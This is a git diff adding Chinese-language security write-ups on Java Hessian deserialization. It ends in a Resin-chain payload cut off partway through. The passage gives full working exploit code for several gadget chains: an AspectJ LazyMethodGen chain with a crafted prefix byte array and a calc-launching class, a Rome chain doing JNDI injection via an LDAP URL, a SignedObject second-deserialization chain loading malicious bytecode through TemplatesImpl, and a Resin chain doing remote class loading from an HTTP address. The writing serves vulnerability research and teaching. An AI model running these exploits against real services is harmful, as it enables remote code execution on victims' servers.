在后续还有用,后续其构造的数值要求是 2 ,使得这里 compressed 是 false : + +![](https://changeyourway.github.io/images/image-20260307131215-k5v8nki.png) ![](https://changeyourway.github.io/images/image-20260307131157-us0k3yl.png) + +由于 compressed 为 false ,接下来进入 UnresolvedType.read ,其中使用 readUTF() 。 + +readUTF(): + +1. 先读取 2 字节 (unsigned short) → 表示字符串字节长度 length +2. 再读取 length 个字节 → 这些字节是 UTF-8 编码字符串 + +根据读取到的字符串判断类型签名(signature),并根据该签名构造一个 UnresolvedType 对象: + +![](https://changeyourway.github.io/images/image-20260307131511-zha4u8i.png) + +签名如果为 @missing@ ,返回一个 ResolvedType.MISSING ,表示该类型不存在 / 无法解析。或者签名可以为其它一些常见类型比如 `Ljava/lang/String;` 。由于后面会利用这个 declaringType 创建一个 ResolvedMemberImpl 对象,要想后面不出错,这里的签名就不能是 @missing@ ,姑且设置一个 `Ljava/lang/Object;` 。 + +![](https://changeyourway.github.io/images/image-20260307135435-nxx1ksa.png) + +接着 s.readInt(); 读取一个 int ,也就是四个字节,获得一个 modifiers ,设置为 1 ; + +s.readUTF() 读取一个 UTF 字符串,获得一个 name ,这个要用作方法名; + +s.readUTF() 读取一个 UTF 字符串,获得一个 signature; + +然后用这五个值去构造一个 ResolvedMemberImpl 对象,只需要让它不报错就行了,我这样构造: + +``` +ResolvedMemberImpl { + kind = METHOD + declaringType = java.lang.Object + modifiers = public + name = testMethod + signature = ()V + exceptions = [] +} +``` + +后续读取 m.checkedExceptions ,m.start ,m.end ,都设置为 0 即可。 + +由于 s.getMajorVersion() 需要设置为 2 ,后续还要再读取一个 tvcount ,为避免麻烦同样设置为 0 。 + +随后这个 ResolvedMemberImpl.readResolvedMember 就算走完了,返回到 NewMethodTypeMunger.readMethod ,往下一步进入到 readSuperMethodsCalled 方法里,还是一样,s.isAtLeast169() 为 false ,这里会读取一个 int : + +![](https://changeyourway.github.io/images/image-20260307140410-qon0lsa.png) + +返回到 NewMethodTypeMunger.readMethod ,接着往下一步就进入到 ResolvedTypeMunger.readSourceLocation : + +![](https://changeyourway.github.io/images/image-20260307140637-drvuj4d.png) + +首行就是判断 s.getMajorVersion() 是否小于 2 ,这就是为什么前面要将 major\_version 设置为 2 ,这样既可以顺利通过判断,又能在 ResolvedMemberImpl.readResolvedMember 中尽可能少进入一些判断。 + +随后由于 s.isAtLeast169() 为 false ,&& 为截断符,所以这个 s.readByte() 就不会读取了,进入 else 处理逻辑。 + +前面的 readxxx 都会将字节流中的字节取走,后面的 readObject() 只会反序列化剩下的字节,把恶意对象的字节流放在那些必要的字节之后即可。 + +### 前缀字节流 + +最后我构造的前缀字节流如下: + +``` +new byte[]{2, 1, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 0, 0, 0, 1, 0, 10, 116, 101, 115, 116, 77, 101, 116, 104, 111, 100, 0, 3, 40, 41, 86, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}; +``` + +解释一下: + +\[0\]: ResolvedTypeMunger.Kind 设置为 Method + +\[1\]: MemberKind 设置为 METHOD + +\[2-21\]: declaringType 设置为 Ljava/lang/Object; + +\[22-25\]: modifiers 设置为 public + +\[26-37\]: name 设置为 testMethod + +\[38-42\]: signature 设置为 ()V + +\[43-44\]: m.checkedExceptions 设置为 0 + +\[45-48\]: m.start 设置为 0 + +\[49-52\]: m.end 设置为 0 + +\[53-56\]: tvcount 设置为 0 + +\[57-60\]: readSuperMethodsCalled 方法读取 4 字节 + +如此便能顺利通过前面的流程,将剩下的字节流反序列化。 + +### MajorVersion 设置 + +前面还遗留了一个问题就是如何将 s.getMajorVersion() 设置为 2 。 + +在 AjAttribute.read 中会调用 s.setVersion 设置其 version 属性: + +![](https://changeyourway.github.io/images/image-20260307145230-j922brp.png) ![](https://changeyourway.github.io/images/image-20260307145254-gwzigjc.png) + +而这个 WeaverVersionInfo 对象其实就是最初 LazyMethodGen 的属性中获取的 + +![](https://changeyourway.github.io/images/image-20260307145511-ay1eh81.png) + +只需要将 LazyMethodGen.enclosingClass.myType.wvInfo.major\_version 属性设置为 2就可以了。 + +### lazyMethodGen 的初始化问题 + +还有一个问题就是 lazyMethodGen 是懒加载的,要想设置 lazyMethodGen 的 attributes 属性,就先要调用其 initialize() 方法初始化,再反射赋值,这样后续再进入 initialize() 就不会将已有的属性值又重新初始化清空一遍了。在构造序列化数据时要注意。 + +由于 initialize() 方法是私有的,我选择调用一次 lazyMethodGen.getAnnotations() 来间接调用 initialize() 方法: + +![](https://changeyourway.github.io/images/image-20260307150657-ewxic2r.png) + +## POC + +创建一个 Person 类,实现 readObject 方法,在其中执行命令: + +``` +package hessianTest; + +import java.io.IOException; +import java.io.ObjectInputStream; +import java.io.Serializable; + +public class Person implements Serializable { + public Person() {} + private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { + Runtime.getRuntime().exec("calc"); + } +} +``` + +验证 POC: + +``` +package hessianTest; + + +import com.caucho.hessian.io.Hessian2Input; +import com.caucho.hessian.io.Hessian2Output; +//import com.alibaba.com.caucho.hessian.io.Hessian2Input; +//import com.alibaba.com.caucho.hessian.io.Hessian2Output; +import org.apache.toStringTest; +import org.aspectj.apache.bcel.classfile.*; +import org.aspectj.apache.bcel.util.ClassLoaderRepository; +import org.aspectj.weaver.ReferenceType; +import org.aspectj.weaver.bcel.BcelObjectType; +import org.aspectj.weaver.bcel.BcelWorld; +import org.aspectj.weaver.bcel.LazyClassGen; +import org.aspectj.weaver.bcel.LazyMethodGen; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.ObjectOutputStream; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.util.ArrayList; +import java.util.Base64; +import java.util.HashMap; +import java.util.List; + +public class EXP { + public static byte[] Hessian2_Serial(Object o) throws IOException { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + Hessian2Output hessian2Output = new Hessian2Output(baos); + hessian2Output.getSerializerFactory().setAllowNonSerializable(true); + hessian2Output.writeObject(o); + hessian2Output.flushBuffer(); + return baos.toByteArray(); + } + + public static Object Hessian2_Deserial(byte[] bytes) throws IOException { + ByteArrayInputStream bais = new ByteArrayInputStream(bytes); + Hessian2Input hessian2Input = new Hessian2Input(bais); + Object o = hessian2Input.readObject(); + return o; + } + + public static void main(String[] args) throws Exception { + + // 1. Create BcelWorld + BcelWorld world = new BcelWorld(); + + // 2. Create JavaClass using ClassLoaderRepository + ClassLoaderRepository repo = new ClassLoaderRepository(toStringTest.class.getClassLoader()); + JavaClass javaClass = repo.loadClass("java.lang.Object"); + + // 3. Create ReferenceType + // Signature for java.lang.Object is Ljava/lang/Object; + ReferenceType referenceType = new ReferenceType("Ljava/lang/Object;", world); + + // 4. Create BcelObjectType via reflection (package-private constructor) + // Constructor: BcelObjectType(ReferenceType, JavaClass, boolean, boolean) + Class botClass = Class.forName("org.aspectj.weaver.bcel.BcelObjectType"); + Constructor constructor = botClass.getDeclaredConstructor( + ReferenceType.class, + JavaClass.class, + boolean.class, + boolean.class + ); + constructor.setAccessible(true); + BcelObjectType bcelObjectType = (BcelObjectType) constructor.newInstance(referenceType, javaClass, false, false); + + // Modification: Force WeaverVersionInfo major_version >= 2 via reflection + java.lang.reflect.Method getWeaverVersionAttribute = botClass.getDeclaredMethod("getWeaverVersionAttribute"); + getWeaverVersionAttribute.setAccessible(true); + Object wvInfo = getWeaverVersionAttribute.invoke(bcelObjectType); + + if (wvInfo != null) { + Field majorVersionField = wvInfo.getClass().getDeclaredField("major_version"); + majorVersionField.setAccessible(true); + majorVersionField.setShort(wvInfo, (short) 2); + System.out.println("Forced WeaverVersionInfo major_version to: " + majorVersionField.getShort(wvInfo)); + } + + // 5. Create LazyClassGen using BcelObjectType + LazyClassGen lazyClassGen = new LazyClassGen(bcelObjectType); + + // 6. Create first LazyMethodGen (lmg1) + // We need a Method object. Get the first method from JavaClass. + Method[] methods = javaClass.getMethods(); + Method method = methods[0]; + LazyMethodGen lazyMethodGen = new LazyMethodGen(method, lazyClassGen); + + // Force initialization of LazyMethodGen before setting attributes via reflection. + // LazyMethodGen uses lazy initialization. The initialize() method overwrites the 'attributes' field. + // If we set 'attributes' before initialization, our value will be overwritten when initialize() is triggered later. + lazyMethodGen.getAnnotations(); + + Class lazyMethodGenClass = lazyMethodGen.getClass(); + Field attributesField = lazyMethodGenClass.getDeclaredField("attributes"); + attributesField.setAccessible(true); + List attributes = new ArrayList<>(); + + // Create a new ConstantPool with the required string + ConstantPool cp = javaClass.getConstantPool(); + Constant[] constants = new Constant[cp.getLength() + 1]; + for (int i = 0; i < cp.getLength(); i++) { + constants[i] = cp.getConstant(i); + } + constants[cp.getLength()] = new ConstantUtf8("org.aspectj.weaver.TypeMunger"); + ConstantPool newCp = new ConstantPool(constants); + + // Construct prefix bytes + byte[] memberBytes = new byte[]{ + 2, 1, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 0, 0, 0, 1, 0, 10, 116, 101, 115, 116, 77, 101, 116, 104, 111, 100, 0, 3, 40, 41, 86, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0 + }; + + // Serialize a simple Class + Person person = new Person(); + + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(baos); + oos.writeObject(person); + oos.close(); + + byte[] objectBytes = baos.toByteArray(); + + // Combine arrays + byte[] bytes = new byte[memberBytes.length + objectBytes.length]; + System.arraycopy(memberBytes, 0, bytes, 0, memberBytes.length); + System.arraycopy(objectBytes, 0, bytes, memberBytes.length, objectBytes.length); + + Unknown unknown = new Unknown(cp.getLength(), bytes.length, bytes, newCp); + attributes.add(unknown); + attributesField.set(lazyMethodGen, attributes); + + byte[] data = Hessian2_Serial(lazyMethodGen); + + byte[] poc = new byte[data.length + 1]; + System.arraycopy(new byte[]{67}, 0, poc, 0, 1); + System.arraycopy(data, 0, poc, 1, data.length); + + System.out.println(Base64.getEncoder().encodeToString(poc)); + + Hessian2_Deserial(poc); + } +} +``` + +## 其它利用链 + +其实在查询的时候这条链还有许多分支,我没有一一验证了,感兴趣的师傅可以看看。 + +``` +LazyMethodGen.toString + -> LazyMethodGen.toLongString + -> LazyMethodGen.print + -> LazyMethodGen.printAspectAttributes # this.attributes 可控 + -> Utility.readAjAttributes + -> AjAttribute.read # u.getBytes() 返回其 bytes 属性,可控。 + ├── ResolvedTypeMunger.read + │ ├─ NewConstructorTypeMunger.readConstructor + │ ├─ NewFieldTypeMunger.readField + │ ├─ NewMemberClassTypeMunger.readInnerClass + │ └─ NewMethodTypeMunger.readMethod + │ + │ -> ResolvedTypeMunger.readSourceLocation + │ -> readObject + │ + └── WeaverStateInfo.read + -> ResolvedTypeMunger.read + ├─ NewConstructorTypeMunger.readConstructor + ├─ NewFieldTypeMunger.readField + ├─ NewMemberClassTypeMunger.readInnerClass + └─ NewMethodTypeMunger.readMethod + + -> ResolvedTypeMunger.readSourceLocation + -> readObject +``` + +## 结语 + +若是我一开始便发现没有继承 serializable ,恐怕不会多看一眼,来发掘残缺的它的价值了。 + +特别鸣谢:@jsjcw + +‍ diff --git a/books/漏洞篇 - Hessian 反序列化详解.md b/books/漏洞篇 - Hessian 反序列化详解.md new file mode 100644 index 0000000..3321b6e --- /dev/null +++ b/books/漏洞篇 - Hessian 反序列化详解.md @@ -0,0 +1,956 @@ +# 漏洞篇 - Hessian 反序列化详解 +> 2025-02-20 +> 来源:https://changeyourway.github.io/2025/02/20/Java%20%E5%AE%89%E5%85%A8/%E6%BC%8F%E6%B4%9E%E7%AF%87-Hessian%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/ + +本文前置知识:[基础篇 - Hessian 协议详解](https://changeyourway.github.io/2024/11/13/Java%20%E5%AE%89%E5%85%A8/%E5%9F%BA%E7%A1%80%E7%AF%87-Hessian%E5%8D%8F%E8%AE%AE%E8%AF%A6%E8%A7%A3/) + +## 细节补充 + +在学习漏洞利用之前,还需要补充一些细节,以更好的理解。这些细节算是在前面的原理分析中漏掉的部分,并且也需要特别强调一下。 + +### 协议版本 + +su18 师傅提到目前的 Hessian 协议同时兼容两种版本,并且**默认情况下,客户端向服务端发送序列化数据时采用 1.0 版本,而服务端向客户端发送序列化响应数据时采用 2.0 版本**,并且指出控制位在 HessianProxyFactory 的 `_isHessian2Reply` 和 `_isHessian2Request` 两个属性中: + +![](/images/image-20241114150330418.png) + +为了弄清楚这两个控制点究竟在何处发挥作用,我重新调试了客户端代码,并找到了它们最终发挥作用的点。 + +我们曾说客户端主要是调用 HessianProxy 的 sendRequest 发送请求,sendRequest 方法中又主要是调用 call 方法将参数序列化写入字节流,而在调用 call 方法之前,其实先用 \_factory.getHessianOutput 获取了一个 HessianOutput/Hessian2Output: + +![](/images/image-20241114150555552.png) + +而具体是获取到 HessianOutput/Hessian2Output 中的哪个,则取决于 \_factory 的 \_isHessian2Request 控制位: + +![](/images/image-20241114151306687.png) + +\_factory 是早在创建代理对象时就被封装进 HessianProxy 的 HessianProxyFactory 对象。 + +由此可见,客户端使用 1.0 还是 2.0 版本确实取决于 `_isHessian2Request` ,默认情况下使用 1.0 版本,这也意味着客户端会按照 Map 方式来序列化对象,在序列化字节流开头写入 Map 标识符。那么服务端必然按照 1.0 版本反序列化对象,把对象当作 Map 类型反序列化。而 Hessian 1.0 反序列化漏洞的成因便也在此。 + +此外注意到上图如果 \_isHessian2Reply 为 true ,则会调用 setVersion 方法将 HessianOutput 的成员变量 \_version 设置为 2 。这个 2 最后也会被写入序列化字节流,路径是: + +HessianOutput 的 call 方法 -> startCall 方法 -> `os.write(_version);` + +![](/images/image-20241114154307051.png) + +call 方法调用完成后,得到一个序列化字节流,第一个数据是 99(表示 c 字符),第二个是 2 : + +![](/images/image-20241114154538410.png) + +服务端调用到 HessianSkeleton#invoke(InputStream, OutputStream, SerializerFactory) 方法时,会先从流中读取一个 header ,根据这个 header 的值选择使用 1.0 版本还是 2.0 版本反序列化客户端传来的数据,以及将结果序列化发送到客户端。 + +可以看到是给了三个选项: + +1. 1.0 版本序列化和反序列化; +2. 1.0 版本反序列化,2.0 版本序列化; +3. 2.0 版本序列化和反序列化; + +![](/images/image-20241114154850837.png) + +跟进 \_inputFactory.readHeader 方法,发现它正是将读取的第二个字符作为判断依据,在前面的分析中,第二个字符默认是 2 : + +![](/images/image-20241114155232814.png) + +由此可见,服务端确实默认使用 1.0 版本反序列化客户端传来的数据,使用 2.0 版本将结果序列化发送至客户端; + +### Serializable 接口 + +先说结论,Hessian 只在序列化时检测类是否实现了 Serializable 接口,反序列化时不检查,也就是说:Hessian 实际可以反序列化任意类,不论它有没有实现 Serializable 接口。 + +HessianOutput/Hessian2Output 的 wirteObject 方法获取序列化器,实际上最终调用到 `SerializerFactory#getDefaultSerializer(Class)` ,这个方法内部会判断类是否实现了 Serializable 接口,或者是否开启了 \_isAllowNonSerializable ,如果都没有,直接抛出异常: + +![](/images/image-20241114162009419.png) + +这说明序列化时检测了类是否实现了 Serializable 接口,或者直接使用 `SerializerFactory#setAllowNonSerializable` 方法将 `_isAllowNonSerializable` 设置为 true ,让它序列化时也不检查(当然我们不关心这个)。 + +反序列化时 HessianInput/Hessian2Intput 获取反序列化器,最终是调用 SerializerFactory#getDefaultDeserializer(Class) 方法,这个方法没有限制 Serializable 接口,默认情况下 \_isEnableUnsafeSerializer 为 true ,获取到 UnsafeDeserializer 反序列化器: + +![](/images/image-20241114170121263.png) + +所以 Hessian 实际上可以反序列化任意类,不论是否实现了 Serializable 接口。 + +### transient 和 static 属性 + +对于 transient 和 static 修饰的成员属性,hessian 是会直接忽略掉的,这些属性不会被序列化。 + +序列化时:UnsafeSerializer 构造方法 -> `UnsafeSerializer#introspect` 方法。 + +而在 `UnsafeSerializer#introspect` 方法的内部,transient 和 static 修饰的成员属性是不会被添加进 \_fieldSerializers 数组中的,自然也就不会进入后面的序列化过程: + +![](/images/image-20241121151145013.png) + +hessian 对这块丢掉的数据没有任何补充,后续反序列化时值为空。 + +### 反序列化 + +hessian 1.0 会将自定义对象当成 map 集合来反序列化。hessian 2.0 为自定义对象另外定义了一个序列化器,用于序列化和反序列化。但是对于基本类型,如 hashMap ,仍然会当成 map 集合,并调用 MapDeserializer 来反序列化它。 + +MapDeserializer 的 readMap 方法会先创建 Map 对象,将 key 和 value 分别反序列化再 put 进 map 集合中: + +![](https://changeyourway.github.io/images/image-20250103112613170.png) + +由此就会触发 key 的 hashcode 和 equals 方法。 + +## 利用链总结 + +### Rome 链 + +以 JdbcRowSetImpl# () 为 sink 点,可 JNDI 注入。 + +调用栈如下: + +``` +Hessian2Input#readObject() +SerializerFactory#readMap(AbstractHessianInput, String) +MapDeserializer#readMap(AbstractHessianInput) +HashMap#put(K, V) +HashMap#hash(Object) +ObjectBean#hashCode() +EqualsBean#beanHashCode() +ToStringBean#toString() +ToStringBean#toString(String) +JdbcRowSetImpl#getDatabaseMetaData() +``` + +payload: + +``` +package unser; + +import com.caucho.hessian.io.Hessian2Input; +import com.caucho.hessian.io.Hessian2Output; +import com.sun.rowset.JdbcRowSetImpl; +import com.sun.syndication.feed.impl.ObjectBean; +import com.sun.syndication.feed.impl.ToStringBean; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.util.HashMap; + +public class RomeHessian { + public static void main(String[] args) throws Exception{ + // ldap url + String url = "ldap://127.0.0.1:8085/PUBiRQPu"; + + // 创建JdbcRowSetImpl对象 + JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); + jdbcRowSet.setDataSourceName(url); + + // 创建toStringBean对象 + ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet); + + // 创建ObjectBean + ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean); + + // 创建HashMap + HashMap hashMap = new HashMap<>(); + hashMap.put(objectBean, "aaaa"); + + // 序列化 + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + Hessian2Output hessian2Output = new Hessian2Output(baos); + hessian2Output.writeObject(hashMap); + hessian2Output.close(); + + // 反序列化 + ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); + Hessian2Input hessian2Input = new Hessian2Input(bais); + HashMap o = (HashMap) hessian2Input.readObject(); + + } +} +``` + +这里在测试的时候会执行两次代码是因为,创建 HashMap 时 hashMap.put 会执行一次。 + +### 二次反序列化 + +前面的链子是 JNDI 方式,需要服务器能出网,为了不出网利用,可以使用 java.security.SignedObject 进行二次反序列化。 + +其实也考虑过 rome 链直接调用 TemplatesImpl 实现类加载。但是 TemplatesImpl 需要实例化的属性中 \_tfactory 是 transient 修饰的,无法通过序列化数据传送。虽然 TemplatesImpl 的 readObject 方法可以为 \_tfactory 赋值,但 hessian 反序列化是不经过 readObject 的。 + +简要说一下 SignedObject 的功能,它的 getObject 方法会将成员属性 this.content 反序列化,这里有全套获取字节流的流程,因此只需要 this.content 是一个字节数组即可: + +![](https://changeyourway.github.io/images/image-20250104104756801.png) + +而在构造方法中,这里又有全套的序列化流程,会将第一个参数 object 序列化成比特流,并且 this.content 获取到的直接就是比特数组: + +![](https://changeyourway.github.io/images/image-20250104104949367.png) + +所以 SignedObject 类的使用方法很简单,首先调用构造方法传入要反序列化的恶意类,然后调用 getObject 反序列化。这里传入的恶意类就可以根据服务器的依赖传入任意的类了。 + +getObject 方法是一个公共的 getter 方法,可以直接将其嵌入到 Rome 链的 ToStringBean#toString(String) 中调用,就可以不必依赖 JdbcRowSetImpl#getDatabaseMetaData() 的 JNDI 注入了。 + +比如在 SignedObject 的构造方法传入以 TemplatesImpl 为 sink 点的 Rome 链,调用栈如下: + +``` +Hessian2Input#readObject() +SerializerFactory#readMap(AbstractHessianInput, String) +MapDeserializer#readMap(AbstractHessianInput) +HashMap#put(K, V) +HashMap#hash(Object) +ObjectBean#hashCode() +EqualsBean#beanHashCode() +ToStringBean#toString() +ToStringBean#toString(String) +SignedObject#getObject() # 二次反序列化 +HashMap#readObject(java.io.ObjectInputStream) +HashMap#hash(Object) +ObjectBean#hashCode() +EqualsBean#beanHashCode() +ToStringBean#toString() +ToStringBean#toString(String) +TemplatesImpl#getOutputProperties() +TemplatesImpl#newTransformer() +TemplatesImpl#getTransletInstance() + -> TemplatesImpl#defineTransletClasses() + TransletClassLoader#defineClass() # 加载 -> 验证 -> 准备 -> 解析 + -> Class#newInstance() # 初始化,执行静态代码块 +``` + +payload: + +``` +package unser; + +import com.caucho.hessian.io.Hessian2Input; +import com.caucho.hessian.io.Hessian2Output; +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.syndication.feed.impl.EqualsBean; +import com.sun.syndication.feed.impl.ObjectBean; +import com.sun.syndication.feed.impl.ToStringBean; + +import javax.xml.transform.Templates; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.lang.reflect.Field; +import java.nio.file.Files; +import java.nio.file.Paths; +import java.security.*; +import java.util.HashMap; + +public class Rome_SignedObject { + public static void main(String[] args) throws Exception { + // 将恶意类的字节码文件存入字节数组 + byte[] bytecodes = Files.readAllBytes(Paths.get("C:\\Users\\miaoj\\Documents\\Java安全代码实验\\Rome利用链分析\\RomeTest\\target\\classes\\Eval.class")); + + // 新建利用链 TemplatesImpl 对象 + TemplatesImpl templatesImpl = new TemplatesImpl(); + setValue(templatesImpl,"_name","aaa"); + setValue(templatesImpl,"_bytecodes",new byte[][] {bytecodes}); + + // 利用 ToStringBean 的 toString() 方法调用 TemplatesImpl 的 getOutputProperties() 方法 + ToStringBean toStringBean1 = new ToStringBean(Templates.class,templatesImpl); + + // 利用 EqualsBean 的 beanHashCode() 方法调用 ToStringBean 的 toString() 方法 + EqualsBean equalsBean1 = new EqualsBean(ToStringBean.class, toStringBean1); + + // 利用 ObjectBean 的 hashCode() 方法调用 EqualsBean 的 beanHashCode() 方法 + // 为防止调用 put 方法时命令执行,先传入一个普通的 ObjectBean + HashMap hashMap0 = new HashMap(); + ObjectBean objectBean1 = new ObjectBean(HashMap.class, hashMap0); + + // HashMap 的 hash() 方法会调用 key 的 hashCode() 方法,readObject() 方法会调用 hash() 方法 + HashMap evilMap = new HashMap(); + evilMap.put(objectBean1, "test"); + + // 反射修改 ObjectBean 的属性值 + setValue(objectBean1, "_equalsBean", equalsBean1); + + // 生成密钥对 (RSA) + KeyPairGenerator keyGen = KeyPairGenerator.getInstance("RSA"); + keyGen.initialize(2048); + KeyPair keyPair = keyGen.generateKeyPair(); + PrivateKey privateKey = keyPair.getPrivate(); + PublicKey publicKey = keyPair.getPublic(); + + // 创建 Signature 对象 + Signature signature = Signature.getInstance("SHA256withRSA"); + + // 创建 SignedObject + SignedObject signedObject = new SignedObject(evilMap, privateKey, signature); + + // 创建toStringBean对象 + ToStringBean toStringBean = new ToStringBean(SignedObject.class, signedObject); + + // 创建ObjectBean + ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean); + + // 创建HashMap + HashMap hashMap = new HashMap<>(); + hashMap.put(objectBean, "aaaa"); + + // 序列化 + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + Hessian2Output hessian2Output = new Hessian2Output(baos); + hessian2Output.writeObject(hashMap); + hessian2Output.close(); + + // 反序列化 + ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); + Hessian2Input hessian2Input = new Hessian2Input(bais); + HashMap o = (HashMap) hessian2Input.readObject(); + + } + + // 反射设置属性值的过程可以抽离成一个方法 + public static void setValue(Object obj, String name, Object value) throws Exception{ + Field field = obj.getClass().getDeclaredField(name); + field.setAccessible(true); + field.set(obj, value); + } +} +``` + +SignedObject 类是用来给对象数字签名的,所以还需要另外两个参数指定私钥和签名算法,按格式来就行。 + +这里仍然执行两次,有一次是在 `hashMap.put(objectBean, "aaaa");` 这里触发的。 + +### Resin 链 + +这里需要用到 com.caucho.naming.QName 类,导入依赖: + +``` + + com.caucho + resin + 4.0.66 + +``` + +#### 调用栈总结 + +``` +Hessian2Input#readObject() +SerializerFactory#readMap(AbstractHessianInput, String) +MapDeserializer#readMap(AbstractHessianInput) +HashMap#put(K, V) +HashMap#putVal(int, K, V, boolean, boolean) +XString#equals(Object) +QName#toString() +ContinuationContext#composeName(String, String) +ContinuationContext#getTargetContext() +NamingManager#getContext(Object, Name, Context, Hashtable) +NamingManager#getObjectInstance(Object, Name, Context, Hashtable) +NamingManager#getObjectFactoryFromReference(Reference, String) + -> VersionHelper12#loadClass(String, String) # 加载 -> 验证 -> 准备 -> 解析 + -> Class#newInstance() # 初始化,执行静态代码块 +``` + +这里有些东西需要分析一下。 + +#### 制造 hash 冲突 + +HashMap 的 putVal 方法当出现 hash 冲突时将会调用 key 的 equals 方法: + +![](https://changeyourway.github.io/images/image-20250106161243704.png) + +这里的 hash 其实是调用 key 的 hashcode 方法计算的: + +![](https://changeyourway.github.io/images/image-20250106161428127.png) ![](https://changeyourway.github.io/images/image-20250106161453393.png) + +为了制造 hash 冲突,我们需要让两个 key 的 hash 值一致。在 HotSwappableTargetSource 利用链中,我们利用 HotSwappableTargetSource 类的 hashcode 方法一定返回固定的结果这一特性,来创造两个 hash 值相同的键,即两个 HotSwappableTargetSource 对象。 + +在这里,我们使用了另一种方式来制造 hash 冲突,代码如下: + +``` +// 创建QName +QName qName = new QName(continuationContext, "aaa", "bbb"); +String str = unhash(qName.hashCode()); +// 创建Xtring +XString xString = new XString(str); + +// 创建HashMap +HashMap hashMap = new HashMap(); +hashMap.put(qName, "111"); +hashMap.put(xString, "222"); +``` + +从代码中不难看出,我们使用 qName.hashCode() 获取了 QName 对象的 hash 值,将其 unhash 后作为 XString 构造方法的参数来创建 XString 对象。XString 的构造方法会将自身的属性 m\_obj 设置为传入的值,而 XString 的 hashCode 方法则会根据自身属性 m\_obj 的值来计算 hash : + +![](https://changeyourway.github.io/images/image-20250106163035465.png) ![](https://changeyourway.github.io/images/image-20250106163144437.png) + +于是就可以让 qName 和 xString 两个对象的 hash 值一致,造成 hash 冲突。 + +这里的 unhash 是自定义的函数,应当就是计算 hash 过程的逆过程,不去细究了。 + +#### cannotProceedException 类 + +在前面的调用链中,ContinuationContext#getTargetContext() 要想成功调用到 NamingManager 的 getContext 方法,需要经过一个判断: + +![](https://changeyourway.github.io/images/image-20250106170422113.png) + +这里会判断 cpe.getResolvedObj() 是否为空,为空则直接抛出异常,所以需要赋一下值。 + +另外,为 NamingManager 的 getContext 方法传递的参数都是 cpe 的属性。所以,这里的大概意思就是:如果获取 TargetContext 失败了,那么调用 NamingManager.getContext 再获取一次。 + +cpe 是 CannotProceedException 对象,其父类 NamingException 的 getResolvedObj 方法直接返回成员属性 resolvedObj 的值: + +![](https://changeyourway.github.io/images/image-20250106170538789.png) ![](https://changeyourway.github.io/images/image-20250106170809594.png) + +所以直接反射获取一个 CannotProceedException 对象,并将 resolvedObj 属性赋值即可: + +``` +String refAddr = "http://127.0.0.1:8085/"; +String refClassName = "test"; +Reference ref = new Reference(refClassName, refClassName, refAddr); + +Object cannotProceedException = Class.forName("javax.naming.CannotProceedException").getDeclaredConstructor().newInstance(); +String classname = "javax.naming.NamingException"; +setFiled(classname, cannotProceedException, "resolvedObj", ref); +``` + +这里为 resolvedObj 属性赋的值是带有远程地址的 Reference 属性,在后面要用到。 + +#### 远程类加载 + +这部分的调用链是: + +``` +NamingManager#getContext(Object, Name, Context, Hashtable) +NamingManager#getObjectInstance(Object, Name, Context, Hashtable) +NamingManager#getObjectFactoryFromReference(Reference, String) + -> VersionHelper12#loadClass(String, String) # 加载 -> 验证 -> 准备 -> 解析 + -> Class#newInstance() # 初始化,执行静态代码块 +``` + +JNDI 注入最终也是用到 NamingManager 这个类,只不过不是这个方法。这里也是会根据 Reference 对象中的远程地址进行远程类加载,就不解释了。 + +#### 设置 AllowNonSerializable + +由于 com.caucho.naming.QName 没有实现 java.io.Serializable 接口,所以在序列化时,需要指定一个序列化工厂类并将 AllowNonSerializable 设置为 true 。否则序列化时会报错,从而无法进入反序列化流程: + +``` +// 序列化 +ByteArrayOutputStream baos = new ByteArrayOutputStream(); +Hessian2Output hessian2Output = new Hessian2Output(baos); +SerializerFactory serializerFactory = new SerializerFactory(); +serializerFactory.setAllowNonSerializable(true); +hessian2Output.setSerializerFactory(serializerFactory); +hessian2Output.writeObject(hashMap); +hessian2Output.close(); +``` + +如果不这么设置,运行 payload 也会弹出两次计算器,一次是 hashMap.put 时触发的,但另一次是序列化而非反序列化时触发的。 + +#### payload + +``` +package unser; + +import com.caucho.hessian.io.Hessian2Input; +import com.caucho.hessian.io.Hessian2Output; +import com.caucho.hessian.io.SerializerFactory; +import com.caucho.naming.QName; +import com.sun.org.apache.xpath.internal.objects.XString; + +import javax.naming.CannotProceedException; +import javax.naming.Context; +import javax.naming.Reference; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.Hashtable; + +public class ResinHessian { + public static void main(String[] args) throws Exception { + String refAddr = "http://127.0.0.1:8085/"; + String refClassName = "test"; + + Reference ref = new Reference(refClassName, refClassName, refAddr); + + Object cannotProceedException = Class.forName("javax.naming.CannotProceedException").getDeclaredConstructor().newInstance(); + String classname = "javax.naming.NamingException"; + setFiled(classname, cannotProceedException, "resolvedObj", ref); + + // 创建ContinuationContext对象 + Class aClass = Class.forName("javax.naming.spi.ContinuationContext"); + Constructor constructor = aClass.getDeclaredConstructor(CannotProceedException.class, Hashtable.class); + // 构造方法为protected修饰 + 